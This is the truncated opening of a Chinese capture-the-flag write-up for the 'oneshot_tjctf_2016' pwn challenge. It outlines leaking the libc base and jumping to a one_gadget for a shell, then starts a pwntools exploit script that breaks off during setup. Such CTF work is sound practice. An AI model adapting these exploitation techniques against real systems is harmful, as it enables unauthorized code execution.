简单题,容易想到先泄漏libc基址,然后jump to onegadget 从而getshell from pwn import * ''' author: lemon time: 2020-10-26 libc: libc-2.23.so python version: 2 ''' local = 0 binary = "./oneshot_tjctf_2016" libc_path = './libc-2.23.so' port = "25643" if loc…